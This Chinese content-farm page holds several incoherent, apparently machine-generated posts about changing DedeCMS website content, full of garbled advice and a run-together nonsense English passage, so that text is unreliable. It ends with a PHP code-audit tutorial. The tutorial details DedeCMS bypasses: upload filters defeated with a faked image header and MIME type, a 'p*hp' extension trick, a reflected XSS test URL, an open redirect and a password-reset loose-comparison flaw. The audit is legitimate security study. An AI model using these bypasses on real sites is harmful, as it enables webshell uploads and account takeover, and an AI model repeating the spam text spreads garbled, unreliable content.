
织梦系统网站内容更改
织梦系统网站内容更改,需要满足法律要求(组图)
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-09-18 21:05
织梦系统网站内容更改,需要满足法律要求,会牵涉到未来的品牌营销,网站内容违规内容经过审核,网站会整改,但是整改的目的是为了更好的改变网站已有的内容来迎合未来的发展。这两年无线技术发展迅速,很多手机和平板的网站发生了变化,整站内容要更新,老版本的网站才能再有效的运用。
提问者在问这个问题时你肯定也不清楚原因吧,做这个问题如果提问者是站长的话显然是反面问题,应该问作为前端开发人员,他们为什么这么做。这就引出了前端团队怎么在规避这些限制性条件。作为一个软件公司,天生就有改变原有产品的能力,而这个能力就体现在技术的变更上。所以为了避免或减少网站变动带来的各种问题,前端开发者要尽快的将网站改成新的样式适应新的接口。
主要针对的规避问题有:人员变更、公司整体架构变更、过多不同规模的公司在同一网站上面过度架构变更、网站设计过于庞大、所有有可能发生变动的业务逻辑都放在同一平台实现(比如物流规划、p2p贷款等)等等。为了设计方便,设计师,产品经理等需要跟网站的设计人员沟通将尽量降低改动,保证接口的透明性,保证双方的确理解了相关业务(即不涉及到过高的利益纠葛或是相对不差钱的情况下),上述问题都可以通过开放接口的方式来规避,详细的应用方式可以看看谷歌的文档:shouldcustomerareconfidentthatweareabletoconfidentthatthecompanydoesnotrequireanynewavailabilityintheirsites,andtoprotectcustomerrightsfromdevelopmentthewebsitesbyallowingchangesintheuserpresenceintheplaceofthecompany'sallavailablestakeholders.优秀网站有这样一个好习惯,在工程实践中,往往会设置一个相对固定的工程人力,比如开一个url,让全公司的各种user做一个决定让各个页面要不要迁移到新页面去的选择。 查看全部
织梦系统网站内容更改,需要满足法律要求(组图)

织梦系统网站内容更改,需要满足法律要求,会牵涉到未来的品牌营销,网站内容违规内容经过审核,网站会整改,但是整改的目的是为了更好的改变网站已有的内容来迎合未来的发展。这两年无线技术发展迅速,很多手机和平板的网站发生了变化,整站内容要更新,老版本的网站才能再有效的运用。

提问者在问这个问题时你肯定也不清楚原因吧,做这个问题如果提问者是站长的话显然是反面问题,应该问作为前端开发人员,他们为什么这么做。这就引出了前端团队怎么在规避这些限制性条件。作为一个软件公司,天生就有改变原有产品的能力,而这个能力就体现在技术的变更上。所以为了避免或减少网站变动带来的各种问题,前端开发者要尽快的将网站改成新的样式适应新的接口。
主要针对的规避问题有:人员变更、公司整体架构变更、过多不同规模的公司在同一网站上面过度架构变更、网站设计过于庞大、所有有可能发生变动的业务逻辑都放在同一平台实现(比如物流规划、p2p贷款等)等等。为了设计方便,设计师,产品经理等需要跟网站的设计人员沟通将尽量降低改动,保证接口的透明性,保证双方的确理解了相关业务(即不涉及到过高的利益纠葛或是相对不差钱的情况下),上述问题都可以通过开放接口的方式来规避,详细的应用方式可以看看谷歌的文档:shouldcustomerareconfidentthatweareabletoconfidentthatthecompanydoesnotrequireanynewavailabilityintheirsites,andtoprotectcustomerrightsfromdevelopmentthewebsitesbyallowingchangesintheuserpresenceintheplaceofthecompany'sallavailablestakeholders.优秀网站有这样一个好习惯,在工程实践中,往往会设置一个相对固定的工程人力,比如开一个url,让全公司的各种user做一个决定让各个页面要不要迁移到新页面去的选择。
修改sql层写入数据,更改lamp认证登录方式及更多功能
网站优化 • 优采云 发表了文章 • 0 个评论 • 61 次浏览 • 2022-08-18 16:00
织梦系统网站内容更改进行重构,利用响应式布局,统一分区域管理。修改sql层写入数据,更改lamp认证登录方式及更多功能。网站更新更快,添加infoserver_srs/wp或wp认证,可做对接。网站更具活力,数据更快增长。
做了个demo,目前不限流。wp自带站长工具、info网站日志都不限流。用了一段时间,体验比较好。其实整个布局比前两年非常多样化,前后台都在一起了。我算是用不惯过去js上传图片到后台的站长。如果用自己的库,后台也会简单很多。我测试的图片先在前台上传,再用info导出。总结了一下很多老站,这次优化真的做得不错。
修改了百度审核机制、修改了转向非常快的wp管理后台、优化导出机制、优化了包装文件的打包导出、优化网站session关系、优化了收藏后不及时访问等。还是前后台同步了。优化完之后,几个地方:网站重构、加快速度、sql分库分表、多ip用户导入。据说网站用了s3,不过自己优化好了现在,不会考虑用了。小结一下:1,页面内容不一样。
2,网站分发导出。3,wp和百度。4,sql增量导入。5,几个版本共享一个站点。6,s3:用国内的阿里云或腾讯云,或者其他公有云。7,从服务商导入一个站点。8,无增量导入,s3导入,站点其实要修改,不会导入网站其他版本。一块一块的来写总结:优化,真的很能接受。1,网站页面重构变成响应式。2,内容导出,网站导出为图片,加速网站同步和更新。
3,整个网站使用wp自带wap,原网站从非wap导入。4,无论是内容本身,还是页面逻辑,必须去百度hi上关联到域名,不过现在域名也可以api方式接入了。4,ga数据,标题、pv、uv每天持续递增,但流量来源还是次要,重要看转化效果,还有停留时间和跳出率。5,导出wap网站和站内页面,除了更新,还有官方提供的一个功能:排行榜。
6,最近一年改主页,最近的优化、内容一并改了,优化完后,现在已经不修改网站主页。7,wp也和515a改完全球化了,估计也是一个大优化吧。主页换成了全球商城的首页吧,也会重新优化一下第一张图的网站标题,其它的保持不变。8,wp后台有个移动版的ssl加密连接,虽然网站api还没搞定,但是网站的关键信息存在文件,我希望把pojie、首页、微信等外链文件加密一下,避免ga后台显示一堆乱码,关注内容、用户,在线表单校验、实时统计、分区域管理等也简单化点。
9,标题不能作为内容关键字,但是做了src和url转发规则,关键字总归不对、页面不小心用错了也要改标题。做一个干干净净的网站用户体验真的太。 查看全部
修改sql层写入数据,更改lamp认证登录方式及更多功能
织梦系统网站内容更改进行重构,利用响应式布局,统一分区域管理。修改sql层写入数据,更改lamp认证登录方式及更多功能。网站更新更快,添加infoserver_srs/wp或wp认证,可做对接。网站更具活力,数据更快增长。
做了个demo,目前不限流。wp自带站长工具、info网站日志都不限流。用了一段时间,体验比较好。其实整个布局比前两年非常多样化,前后台都在一起了。我算是用不惯过去js上传图片到后台的站长。如果用自己的库,后台也会简单很多。我测试的图片先在前台上传,再用info导出。总结了一下很多老站,这次优化真的做得不错。

修改了百度审核机制、修改了转向非常快的wp管理后台、优化导出机制、优化了包装文件的打包导出、优化网站session关系、优化了收藏后不及时访问等。还是前后台同步了。优化完之后,几个地方:网站重构、加快速度、sql分库分表、多ip用户导入。据说网站用了s3,不过自己优化好了现在,不会考虑用了。小结一下:1,页面内容不一样。
2,网站分发导出。3,wp和百度。4,sql增量导入。5,几个版本共享一个站点。6,s3:用国内的阿里云或腾讯云,或者其他公有云。7,从服务商导入一个站点。8,无增量导入,s3导入,站点其实要修改,不会导入网站其他版本。一块一块的来写总结:优化,真的很能接受。1,网站页面重构变成响应式。2,内容导出,网站导出为图片,加速网站同步和更新。

3,整个网站使用wp自带wap,原网站从非wap导入。4,无论是内容本身,还是页面逻辑,必须去百度hi上关联到域名,不过现在域名也可以api方式接入了。4,ga数据,标题、pv、uv每天持续递增,但流量来源还是次要,重要看转化效果,还有停留时间和跳出率。5,导出wap网站和站内页面,除了更新,还有官方提供的一个功能:排行榜。
6,最近一年改主页,最近的优化、内容一并改了,优化完后,现在已经不修改网站主页。7,wp也和515a改完全球化了,估计也是一个大优化吧。主页换成了全球商城的首页吧,也会重新优化一下第一张图的网站标题,其它的保持不变。8,wp后台有个移动版的ssl加密连接,虽然网站api还没搞定,但是网站的关键信息存在文件,我希望把pojie、首页、微信等外链文件加密一下,避免ga后台显示一堆乱码,关注内容、用户,在线表单校验、实时统计、分区域管理等也简单化点。
9,标题不能作为内容关键字,但是做了src和url转发规则,关键字总归不对、页面不小心用错了也要改标题。做一个干干净净的网站用户体验真的太。
织梦系统网站内容更改
网站优化 • 优采云 发表了文章 • 0 个评论 • 77 次浏览 • 2022-08-11 06:27
织梦系统网站内容更改需要去技术支持那里才可以进行。让他们给你查。不然只能一遍一遍的修改。很麻烦。费时费力还修改不好。2。制作网站都是需要经过系统编写的,有专业的程序猿制作网站。所以呢程序猿就要学习装系统还有电脑安装管理软件。比如爱福特u盘启动安装器,学苑e-link插电脑安装机械硬盘。都是需要在学苑e-link插电脑安装机械硬盘。
3。还有一点就是要会装系统。其中知识还有新技术也是有很多要求的。还有你也要明白为什么别人安装可以正常的运行。就是运行在系统里面的还有一些关键的文件是都得解压解析出来。不然系统运行就会出问题。你还得要明白安装上去后还有什么是需要的,否则就会安装失败。还有就是安装的时候很多时候需要用pe安装,不然pe安装不了或者是装上去的时候连不上网。
也就是网络有问题。还有就是你安装的时候是没有装驱动程序。那么当有厂家提供这种驱动安装包的时候。你就不会安装了。所以我要告诉你如何学习呢。就是直接去淘宝上去找。就是那种提供驱动和安装的店。如果没有提供一般都需要在tb上买个安装棒。不过学苑e-link他家还是很好的。电脑里面都是有这种驱动安装棒的。而且对自己电脑运行是很有帮助的。
电脑里面安装了驱动,自己系统里面所有的电脑外设自己是一个完整的使用。别人的电脑你是可以重装系统到本地对应的电脑。安装软件这些都是可以的。对于有装过电脑的人来说。都非常简单的。学苑e-link插电脑安装机械硬盘。就是这样的。4。如果你是你的电脑安装机械硬盘,又想恢复系统。但是自己又找不到能够进行恢复的那些pe安装。
到这里你可以去淘宝找家电脑店里面没有提供电脑电脑里面所有电脑外设外设。专门提供电脑电脑里面所有电脑外设外设。免费给你安装系统。还可以系统卸载。要是想学习的朋友我可以推荐个地方。学苑e-link插电脑安装机械硬盘。如果是装系统的话。可以到网上去找家。效果也是一样的。 查看全部
织梦系统网站内容更改
织梦系统网站内容更改需要去技术支持那里才可以进行。让他们给你查。不然只能一遍一遍的修改。很麻烦。费时费力还修改不好。2。制作网站都是需要经过系统编写的,有专业的程序猿制作网站。所以呢程序猿就要学习装系统还有电脑安装管理软件。比如爱福特u盘启动安装器,学苑e-link插电脑安装机械硬盘。都是需要在学苑e-link插电脑安装机械硬盘。

3。还有一点就是要会装系统。其中知识还有新技术也是有很多要求的。还有你也要明白为什么别人安装可以正常的运行。就是运行在系统里面的还有一些关键的文件是都得解压解析出来。不然系统运行就会出问题。你还得要明白安装上去后还有什么是需要的,否则就会安装失败。还有就是安装的时候很多时候需要用pe安装,不然pe安装不了或者是装上去的时候连不上网。
也就是网络有问题。还有就是你安装的时候是没有装驱动程序。那么当有厂家提供这种驱动安装包的时候。你就不会安装了。所以我要告诉你如何学习呢。就是直接去淘宝上去找。就是那种提供驱动和安装的店。如果没有提供一般都需要在tb上买个安装棒。不过学苑e-link他家还是很好的。电脑里面都是有这种驱动安装棒的。而且对自己电脑运行是很有帮助的。

电脑里面安装了驱动,自己系统里面所有的电脑外设自己是一个完整的使用。别人的电脑你是可以重装系统到本地对应的电脑。安装软件这些都是可以的。对于有装过电脑的人来说。都非常简单的。学苑e-link插电脑安装机械硬盘。就是这样的。4。如果你是你的电脑安装机械硬盘,又想恢复系统。但是自己又找不到能够进行恢复的那些pe安装。
到这里你可以去淘宝找家电脑店里面没有提供电脑电脑里面所有电脑外设外设。专门提供电脑电脑里面所有电脑外设外设。免费给你安装系统。还可以系统卸载。要是想学习的朋友我可以推荐个地方。学苑e-link插电脑安装机械硬盘。如果是装系统的话。可以到网上去找家。效果也是一样的。
织梦系统网站内容更改后要重新管理不要看我只是很简单
网站优化 • 优采云 发表了文章 • 0 个评论 • 73 次浏览 • 2022-08-05 15:02
织梦系统网站内容更改后要重新管理不要看我只是很简单的讲解下网站内容管理第一步:修改你的域名域名首位是.com你看到的是.cn是通用管理控制码但是公司的域名只能是.com公司把域名备案之后就可以更改域名。第二步:把网站域名解析到新的服务器上把你以前的解析到新服务器上第三步:管理你的域名只要在新服务器上把网站域名解析过来,基本上就可以万事大吉了,还有一些隐藏功能需要我们用新服务器的启动才能打开。还有一些特殊的方法你就自己找找吧!。
1.明确你网站需要的内容如果对你现在网站需要的内容不是很清楚,建议寻找技术人员帮助2.如果想全面、多样的管理你的网站,建议购买能全程管理域名(cname)的服务器,
入门试用,不收费!是在注册了域名后,没有购买虚拟主机建站,然后更换网站域名,没有任何限制的服务。
一般都是先搭建好wordpress平台,有了这个平台会自动帮你搭建服务器(域名)。具体操作可以找专业做虚拟主机的公司。
请问你用的是哪个国内虚拟主机商,我同样用的这个网站,
联系当地的云主机支持商更换域名
好像要买国外主机才可以这个域名以前的主机都没有用
这个暂时不存在的,有些网站现在要解析到新的服务器的,只是域名没有更换而已。 查看全部
织梦系统网站内容更改后要重新管理不要看我只是很简单
织梦系统网站内容更改后要重新管理不要看我只是很简单的讲解下网站内容管理第一步:修改你的域名域名首位是.com你看到的是.cn是通用管理控制码但是公司的域名只能是.com公司把域名备案之后就可以更改域名。第二步:把网站域名解析到新的服务器上把你以前的解析到新服务器上第三步:管理你的域名只要在新服务器上把网站域名解析过来,基本上就可以万事大吉了,还有一些隐藏功能需要我们用新服务器的启动才能打开。还有一些特殊的方法你就自己找找吧!。
1.明确你网站需要的内容如果对你现在网站需要的内容不是很清楚,建议寻找技术人员帮助2.如果想全面、多样的管理你的网站,建议购买能全程管理域名(cname)的服务器,

入门试用,不收费!是在注册了域名后,没有购买虚拟主机建站,然后更换网站域名,没有任何限制的服务。
一般都是先搭建好wordpress平台,有了这个平台会自动帮你搭建服务器(域名)。具体操作可以找专业做虚拟主机的公司。
请问你用的是哪个国内虚拟主机商,我同样用的这个网站,

联系当地的云主机支持商更换域名
好像要买国外主机才可以这个域名以前的主机都没有用
这个暂时不存在的,有些网站现在要解析到新的服务器的,只是域名没有更换而已。
织梦系统网站内容更改经过打磨,也进行了统一规范
网站优化 • 优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-08-03 21:05
织梦系统网站内容更改经过打磨,也进行了统一规范。通过审核通过后,需要本人的接入号进行身份认证绑定。页面通过率也有所提高。在后续的营销战略中,也将更加注重用户体验与服务体验的结合。
入库、审核、验证都走第三方,链接是来自电商平台平台,
提供接入号,
我觉得,首先在你理解上面定义的透明应该属于商业秘密,至于内容,估计无法进行分析判断。
自己有对接号
好像是需要一个专门的平台来提供接入号吧,
没进行了解不发言
联通特别透明其他家谁敢
联通比其他都透明
骗子太多,自求多福吧。
没进行联想吗。
某宝上能让你对接的透明平台千千万,你需要花时间筛选。网易严选,某宝某多,某东某多某宝某多直接侵权另一篇文章,中科院或者后继者里谈到量子信息与量子通信。
xx科技下面xx重创二十多亿
某宝上又是四五百买,其中几千块是返还给某宝的,另外四百多再某宝的优惠卷里分期付款,
不说联通有没有比联通透明的,
长图短视频搜索——快剪视频
某平台对接的日报,推荐码是没有返还的联通接入有效期应该比某平台短几年吧,毕竟接入的时候客户那边一定要绑定号码。 查看全部
织梦系统网站内容更改经过打磨,也进行了统一规范
织梦系统网站内容更改经过打磨,也进行了统一规范。通过审核通过后,需要本人的接入号进行身份认证绑定。页面通过率也有所提高。在后续的营销战略中,也将更加注重用户体验与服务体验的结合。
入库、审核、验证都走第三方,链接是来自电商平台平台,
提供接入号,
我觉得,首先在你理解上面定义的透明应该属于商业秘密,至于内容,估计无法进行分析判断。
自己有对接号

好像是需要一个专门的平台来提供接入号吧,
没进行了解不发言
联通特别透明其他家谁敢
联通比其他都透明
骗子太多,自求多福吧。
没进行联想吗。

某宝上能让你对接的透明平台千千万,你需要花时间筛选。网易严选,某宝某多,某东某多某宝某多直接侵权另一篇文章,中科院或者后继者里谈到量子信息与量子通信。
xx科技下面xx重创二十多亿
某宝上又是四五百买,其中几千块是返还给某宝的,另外四百多再某宝的优惠卷里分期付款,
不说联通有没有比联通透明的,
长图短视频搜索——快剪视频
某平台对接的日报,推荐码是没有返还的联通接入有效期应该比某平台短几年吧,毕竟接入的时候客户那边一定要绑定号码。
通过DedeCMS学习php代码审计
网站优化 • 优采云 发表了文章 • 0 个评论 • 62 次浏览 • 2022-06-18 07:39
2)会员中心,默认是关闭该功能的,需要后台打开
3)管理员后台
跟踪前台index.php的流程
首先跟一遍index.php的流程,index.php首先会加载common.inc.php,就先看看这个文件会做什么
include/common.inc.php
// 定义常量// 检查GPC数据是否为cfg等系统定义变量CheckRequest()// 使用addslashes()过滤GPC数据,并注册GPC数据到程序变量_RunMagicQuotes()// 如果存在文件上传的变量,加载文件上传的安全函数if($_FILES){require_once(DEDEINC.'/uploadsafe.inc.php');}// 数据库配置文件,里面是数据库账号密码相关变量信息require_once(DEDEDATA.'/common.inc.php');// 自动加载类库处理require_once(DEDEINC.'/autoload.inc.php');// 引入数据库类,这步会直接连接数据库,并返回一个数据库对象$db=$dsqlrequire_once(DEDEINC.'/dedesqli.class.php');// 全局常用函数require_once(DEDEINC.'/common.func.php');// 模块MVC框架需要的控制器和模型基类require_once(DEDEINC.'/control.class.php');require_once(DEDEINC.'/model.class.php');
common.inc.php 做了很多程序的初始化工作,代码审计时需要重点关注程序处理GPC这些外部数据的方式
common.inc.php 全局处理数据的代码:
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); }}
可以看到这个时期的DEDECMS也是使用了$$直接注册了GPC的变量,有可能存在变量覆盖的问题
uploadsafe.inc.php
这里再关心下文件上传的安全函数
include/uploadsafe.inc.php
$cfg_not_allowall为上传文件名后缀的黑名单,后面具体分析限制的逻辑
$imtypes为一些图片的MIME类型
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";$keyarr = array('name', 'type', 'tmp_name', 'size');foreach($_FILES as $_key=>$_value){ $$_key = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_rep1ace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_rep1ace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) { if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } $imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }}
这里结合实际例子来分析上诉代码,上传一个名为2.jpg的正常文件,$_FILES数组如下图
uploadsafe.inc.php会注册$_FILES中数据到全局变量,在实例中便会注册以下变量
$litpic = "/Applications/MAMP/tmp/php/php8bhoXG"$litpic_name = "2.jpg"$litpic_type = "image/jepg"$litpic_stze = "4"
然后先看第一个文件上传的限制:
if( !empty(${$_key.'_name'}) && ( preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'}) ) ){ if(!defined('DEDEADMIN')){ exit('Not Admin Upload filetype not allow !'); }}
第一个if语句块:
条件1:$_FILES[$_key]['name']即2.jpg,若上传的文件名不为空,该条件为真
条件2是个或条件,满足其一即可
条件2.1:$_FILES[$_key]['name']即2.jpg,若后缀名在黑名单中该条件为真
条件2.2:$_FILES[$_key]['name']即2.jpg,若没有符号.,即无后缀文件,该条件为真
通过第一个if判断会进入第二个if判断,DEDEADMIN常量未定义会直接退出程序。全局搜索了DEDEADMIN常量,如果是在后台模块,该常量会在dede/config.php就已经定义了。如果在前台首页或者更用户中心页面,该变量没有定义
所以第一个文件上传限制的是:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制
再来看看第二个文件上传的限制:
$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }
若$_FILES[$_key]['type']即image/jpeg,在$imtypes中,则进入下一层判断。
$$_key此时为上传的临时文件,来自$_FILES[$_key]['tmp_name'],临时文件将通过getimagesize()来获取图像信息,作为安全人员,应该要对这个函数敏感一点了,getimagesize()识别到图像时,会返回一个包含图片信息的数组,当传入的文件不为图像时,会返回false,但是该函数可以通过伪造文件头绕过
所以第二个文件上传的限制意图为,当上传的文件MIME类型为图片时,将会通过getimagesize()二次验证传入的是否为图片
综上,可以看出这个底层的文件上传安全函数并没有限制的很死,大概的限制意思为:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制。如果当前文件为图片类型,则会通过getimagesize()再次判断文件是否为图片类型。若上传的文件在后台,MIME类型不为图片则没有限制
加载视图类文件
dedecms还会加载一个视图类文件include/arc.partview.class.php,里面定义了一个视图类class PartView
然后就会实例化一个视图加载类$pv = new PartView();,然后利用$pv去加载html这种静态模板,呈现到网页中。这里算是把视图和程序分开了
至于具体怎么实现的,因为和代码审计相关不大,而且我也没有看懂,这里就不讲究它的逻辑了
小结
整个流程下来感觉dedecms符合那个时代的cms特点,而且也是全局注册了外部变量。dedecms有特点之处在于使用视图类把html和php文件划分。但index.php文件明显只是一个静态文件,没有较多功能的实现,也没有像phpcms那样index.php作为入口文件负责接收请求转发到其他功能代码中
那程序中的功能到底是怎么实现的呢?
最后黑盒测试一下前台的功能点,功能点不多,也明显看处前台是一个多入口处理,每个功能是分开的
跟踪后台流程
dedecms的后台入口位于dede/index.php,默认后台目录为dede,官方建议修改后台目录,在寻找dedecms的后台目录时可以在字典加上dede爆破一下
dede/index.php
require_once(dirname(__FILE__)."/config.php");// 加inc_menu_map.php和载静态模板require(DEDEADMIN.'/inc/inc_menu_map.php');include(DEDEADMIN.'/templets/index2.htm');
后台入口文件的初始化主要加载dede/config.php,这里重点关注下这个文件
dede/config.php
dede/config.php
可以看到config.php也会加载common.inc.php文件,从而处理了外部数据
同时需要关注的是config.php会验证用户的登陆情况,所以后台文件基本都会包含这个config.php
// 加载common.inc.phprequire_once(DEDEADMIN.'/../include/common.inc.php');// 加载管理员登陆类,里面定义了userLogin类和很多验证用户权限的函数require_once(DEDEINC.'/userlogin.class.php');// 实例化userLogin对象$cuserLogin = new userLogin();// 验证登陆情况,未登陆跳转到登陆页面if($cuserLogin --- xxx) header("location:login.php?gotopage=".urlencode($dedeNowurl));// 下面则为登陆后的程序处理// 定义csrf和xss防御函数function csrf_check()function XSSClean($val)
通过iframe构造完整后台页面
不过从上面来看后台入口文件还是很单薄,没有实现什么具体功能,也没有转发请求的功能。然后我就使用谷歌调试工具看了下dedecms后台到底加载了哪些文件,原来才发现这个时期的cms还在使用iframe框架,dedecms后台入口文件通过使用iframe框架加载了菜单地图文件和管理后台主体文件,分别为dede/index_menu.php和dede/index_body.php
上图的代码来自index.php加载的templets/index2.htm文件
dede/index_menu.php和dede/index_body.php通过iframe被嵌入在index.php页面中,可以看到的是dedecms在后台基本还是使用的多入口文件去处理每个功能,只是使用iframe框架让所有功能在index.php页面下显示了而已
小结
通过全局分析,感觉dedecms这个系统还是比较”老气“的,和phpcms的处理方式还是有很大不同的,感觉上phpcms的处理更加接近mvc的思想,虽然看到dedecms也声称做了mvc的架构,菜鸡的我是否还看不到那一层
0x02 漏洞审计
本次将采用结合功能点进行代码审计的思路,试一试这种思路的特点
任意文件上传
普普通通的绕过
后台:【核心】-【常用操作】-【所有档案列表】-【添加文档】,该功能可以发布文章,而且具有文件上传的功能
该处首先具有前端限制,上传 .jpg 后缀文件,结合brup抓包,发现处理上传功能的文件为dede/archives_do.php
然后结合调试,来看看具体代码
dede/archives_do.php
入口文件通过 config.php 会实现权限认证和一些外部参数过滤注册
我们这里上传文件会带有$_FILES参数,上面通过全局分析得知会触发uploadsafe.inc.php的过滤
过滤后,通过AdminUpload()实现最终文件上传
require_once(dirname(__FILE__).'/config.php');else if($dopost=="uploadLitpic"){ $upfile = AdminUpload('litpic', 'imagelit', 0, false );
include/helpers/upload.helper.php
最终实现文件上传的AdminUpload()来自upload.helper.php
传入AdminUpload()的$ftype固定为imagelit,则一定会进入对应的检测判断
在检测判断代码中,$sparr定义了一个MIME Type白名单,若上传文件的MIME Type不在白名单中直接退出,MIME Type我们可控,所以这里一定要设置MIME Type为图片类型
但这里要注意的一点是,当MIME Type为图片类型时,在安全过滤文件uploadsafe.inc.php检测中,还会通过getimagesize()再次判断文件是否为图片类型,不够这里我们也可以绕过
function AdminUpload($uploadname, $ftype='image', $rnddd=0, $watermark=TRUE, $filetype='' ){ if($ftype=='image' || $ftype=='imagelit') { $sparr = Array('image/pjpeg', 'image/jpeg', 'image/gif', 'image/png', 'image/xpng', 'image/wbmp'); if(!in_array($file_type, $sparr)) return 0; } $fileurl = $filedir.'/'.$filename.'.'.$file_sname; $rs = move_uploaded_file($file_tmp, $cfg_basedir.$fileurl);
最后梳理一下,该功能点,系统只做了两个限制,MIMI Type为图片类型,可控。但MIME Type为图片类型时会通过getimagesize()检测,这里也可绕过。下面将来复现一下,看是否可以利用
漏洞验证
保证Content-Type为图片类型,构造图片的文件头,绕过文件上传的限制,并且会返回上传文件名和路径
访问这个文件,完美
小结一下:分析这一大堆,似乎还没有黑盒测来的快。。。一般黑盒直接来个GIF89a可能就中奖了
尴尬的文件上传
接着看看后台有什么功能点,然后又发现一个文件上传的位置:【核心】-【常用操作】-【附件管理】- 【文件式管理器】
突然发现这里竟然可以直接上传任意文件。。。。这个系统这么刚的吗?
看了半天代码很尴尬,然后我就不太想看后台的文件上传了。。。。
有趣的文件上传
后面翻阅dedecms历史漏洞,发现会员中心处存在一个文件上传漏洞。后面仔细研究了一下,其实也只有管理员权限才能上传,实际利用鸡肋,有管理员权限了不如直接进入后台任意文件上传,不过这个漏洞产生的原因可以学学
漏洞位于会员中心处,需要在dedecms打开会员功能,另外需要使用管理员账号打卡会员中心的页面
进入member/article_add.php发布文章,选择下面的富文本编辑器插入图片
选择好文件并上传抓包
处理该文件上传的文件为select_images_post.php,下面具体看看代码
include/dialog/select_images_post.php
看代码大致知道系统只允许上传图片格式的文件,然后具体有3个限制条件:
加载include/dialog/config.php,该文件会验证管理员身份,同时config.php会加载common.inc.php做基础的文件上传过滤。由全局分析知道,我们此时没有位于管理员目录,上传文件后缀名有黑名单限制,不能为php,目前知道服务器只解析php后缀文件
但在下面第二行代码,会去除一些特殊符号,那我们可以上传p*hp这样的后缀,可以绕过上面的判断,然后再这一步正好又变成了能解析的后缀,漏洞关键点就在这里
$cfg_imgtype为jpg|gif|png,但这里匹配十分轻松,只要存在.jpg这样的字样就能绕过,并没有限制是后缀名
最后对mime type类型做了检测,最终上传文件
require_once(dirname(__FILE__)."/config.php");$imgfile_name = trim(preg_rep1ace("#[ \r\n\t\*\%\\\/\?>LoadTemp1ate($tplfile);$dtp->SetVar('id',$id);$dtp->SetVar('type',$type);$dtp->Disp1ay();
可以看到这里的触发点$dtp->SetVar('type',$type);,然而在seay这种代码扫描工具中是不会在意这些点的,同样有些框架对sql操作也做了很好的封装,如果只是依靠seay的结果来做代码审计,可能会忽略掉很多关键点
最后有图有真相
http://dede.test:8888/plus/qrc ... alert(1)%3C/ScRiPt%3E
url 重定向漏洞
seay似乎没有 url 重定向漏洞的扫描,不过该漏洞审计也比较简单,主要关注能重定向的一些关键词,再看重定向地址是否可控
这里看一个dedecms出名的url重定向漏洞,网上有很多讲解,xray都有poc
plus/download.php
对$link做了base64解码
程序中有一个很奇怪的限制,in_array($linkinfo['host'], $allowed),然而download.php中却没有$linkinfo这个参数
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); if ( !in_array($linkinfo['host'], $allowed) ) { ShowMsg('非下载地址,禁止访问','javascript:;'); exit; } header("location:$link");
dedecms后台也有一些url重定向漏洞,这里就不多关注这个洞了
会员中心任意用户密码修改
这也是dedecms比较出名的一个漏洞,如果通过黑盒测试,可能并测不出这个漏洞,此处漏洞最好的方式就是通过灰盒的方式测试
功能点位于会员中心找回密码处,dedecms默认是关闭会员中心的,需要在后台开启会员中心,为了方便测试,开放了用户注册
来看下关键代码:
member/resetpassword.php
1、加载member/config.php,注意这个 config 文件位于 member 目录,不同于全局分析的 config 文件,这个文件会检测用户在用户中心模块的登陆情况,查询的数据表为dede_member,而后台模块查询的数据表是dede_admin,要注意区分开dede的各个模块查询的数据表和包含的文件
可以看到resetpassword.php主要有4个处理逻辑,由$dopost控制,$dopost可控
1)$dopost默认为空,进入第一个if语句,会加载resetpassword.htm,用于显示找回密码的页面
2)$dopost == "getpwd",进入第二个处理逻辑,这是找回密码第一步默认处理逻辑,
3)$dopost == "safequestion",进入第三个处理逻辑
4)$dopost == "getpasswd",将会进入找回密码第二步
// member/resetpassword.phprequire_once(dirname(__FILE__)."/config.php");if($dopost == ""){ include(dirname(__FILE__)."/templets/resetpassword.htm");}elseif($dopost == "getpwd"){ // 找回密码第一步}else if($dopost == "safequestion"){ // 密码问题判断}else if($dopost == "getpasswd"){ // 找回密码第二步}
2、抓取找回密码第一步的请求包,默认dopost为getpwd
进入 getpwd的if语句块,如果设置了密码会加载resetpassword3.htm页面,这是输入安全问题的表单,会提交$dopost == "safequestion",则进入第3个处理逻辑
没有设置安全密码会退出程序,$dopost=="getpwd"似乎走不通,但参数都可以控,可以考虑直接进入$dopost == "safequestion"
// member/resetpassword.phpelseif($dopost == "getpwd"){ //以邮件方式取回密码; if($type == 1){} //以安全问题取回密码; else if ($type == 2) { if($member['safequestion'] == 0) { showmsg('对不起您尚未设置安全密码,请通过邮件方式重设密码', 'login.php'); exit; } require_once(dirname(__FILE__)."/templets/resetpassword3.htm"); }}
3、关注$dopost == "safequestion" 的if语句块,$row['safequestion'] 为数据库查询用户设置的安全问题,如果没有设置则为空,然后这里使用==弱类型比较,有可能绕过这里的判断
// member/resetpassword.phpif(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){ sn($mid, $row['userid'], $row['email'], 'N'); exit();}
